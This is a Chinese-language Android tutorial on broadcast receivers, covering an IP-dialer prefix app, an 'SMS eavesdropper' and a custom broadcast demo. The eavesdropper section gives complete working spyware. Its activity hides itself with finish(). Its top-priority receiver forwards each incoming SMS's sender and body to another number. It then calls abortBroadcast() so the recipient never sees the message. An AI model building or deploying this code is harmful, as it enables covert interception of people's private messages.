一、IP拨号器
activity_main.xml文件：
只有一个输入ip的文本框和一个保存按钮，
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity" >
<EditText
android:id="@+id/et_ipnumber"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:hint="请输入要设置的ip号码"
/>
<Button
android:onClick="save"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="保存"
/>
</LinearLayout>
MainActivity.java
点击保存按钮后执行的程序，将输入的ip号以SharedPreferences的方式保存在本地，
package com.itheima.ipdail;
import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
private EditText et_ipnumber;
private SharedPreferences sp;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
sp = getSharedPreferences("config", MODE_PRIVATE);
et_ipnumber = (EditText) findViewById(R.id.et_ipnumber);
}
/**
* 保存按钮对应的点击事件
* @param view
*/
public void save(View view){
String ipnumber = et_ipnumber.getText().toString().trim();
Editor editor = sp.edit();
editor.putString("ipnumber", ipnumber);
editor.commit();
Toast.makeText(this, "保存ip号码完毕", 0).show();
}
}
OutCallReceiver.java
广播接受者，当有外拨电话到来的时候，从本地SharedPreferences中取出IP号，然后和外拨号码拼接成新字符串显示早拨号界面上，
package com.itheima.ipdail;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.util.Log;
/**
* 广播接收者，当有外拨电话到来的时候 会处理这个消息
*
*/
public class OutCallReceiver extends BroadcastReceiver {
private static final String TAG = "OutCallReceiver";
private SharedPreferences sp;
/**
* 当广播接受者接受到广播事件的时候调用的方法
*/
@Override
public void onReceive(Context context, Intent intent) {
String number = getResultData();
Log.i(TAG,"有新的电话打出去了。电话号码为："+number);
sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
String ipnumber = sp.getString("ipnumber", "");
setResultData(ipnumber+number);
}
}
别忘了在AndroidManifest.xml文件中添加，
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<!-- 意图过滤器 -->
<receiver android:name="com.itheima.ipdail.OutCallReceiver">
<intent-filter >
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
结果：
二、短信窃听器
MainActivity.java
package com.itheima.smslistener;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
finish();
}
}
SmsReceiver.java
5556->5554发送短信，利用广播接受者取出短信内容
package com.itheima.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "SmsReceiver";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG,"有新的短信到来了。");
Object[] objs = (Object[]) intent.getExtras().get("pdus");
for(Object obj:objs){
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
String sender = smsMessage.getOriginatingAddress();
String body = smsMessage.getMessageBody();
Log.i(TAG,"短信的发件人："+sender);
Log.i(TAG,"短信的内容："+body);
}
}
}
当SmsReceiver.java改为如下：
模拟5558->5554发送短信，当5554接收到短信后，自动发送给5556，实现了短信窃听功能，
package com.itheima.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "SmsReceiver";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG,"有新的短信到来了。");
Object[] objs = (Object[]) intent.getExtras().get("pdus");
for(Object obj:objs){
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
String sender = smsMessage.getOriginatingAddress();
String body = smsMessage.getMessageBody();
Log.i(TAG,"短信的发件人："+sender);
Log.i(TAG,"短信的内容："+body);
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
}
}
}
当SmsReceiver.java改为如下：
5558->5554发送短信，
package com.itheima.smslistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsReceiver extends BroadcastReceiver {
private static final String TAG = "SmsReceiver";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG,"有新的短信到来了。");
Object[] objs = (Object[]) intent.getExtras().get("pdus");
for(Object obj:objs){
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
String sender = smsMessage.getOriginatingAddress();
String body = smsMessage.getMessageBody();
Log.i(TAG,"短信的发件人："+sender);
Log.i(TAG,"短信的内容："+body);
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
//终止短信的广播事件。
abortBroadcast();
}
}
}
<span style="font-size:14px;">在AndroidManifest.xml文件中添加，</span>
<receiver android:name="com.itheima.smslistener.SmsReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
</intent-filter>
</receiver>
<uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/>
因为广播接受者优先级1000，最高，而且广播接受着终止了短信的广播后续事件，因此5554并为收到短信，
但是5556能接收到短信，因为在终止广播事件之前向5556转发了，
三、自定义广播接收者
1.自定义发送广播
acticity_main.xml文件为,
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity" >
<Button
android:onClick="send"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:text="发送自定义广播" />
</RelativeLayout>
MainActivity.java文件为，
package com.itheima.sendbroadcast;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void send(View view){
Intent intent = new Intent("com.itheima.sendbroadcast.demo");
sendBroadcast(intent);
}
}
2.自定义广播接收者
acticity_main.xml文件为空，
MainActivity.java文件为空，
MyBroadcastReceiver.java文件为,
package com.itheima.myreceiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;
public class MyBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "我是自定义的广播接受者，我接受到了自定义消息", 0).show();
}
}
在AndroidMainfest.xml文件中添加如下,
<!-- 定义一个广播接受者接受的是自定义的消息 -->
<receiver android:name="com.itheima.myreceiver.MyBroadcastReceiver">
<intent-filter >
<action android:name="com.itheima.sendbroadcast.demo"/>
</intent-filter>
</receiver>
时间： 2024-10-22 22:40:27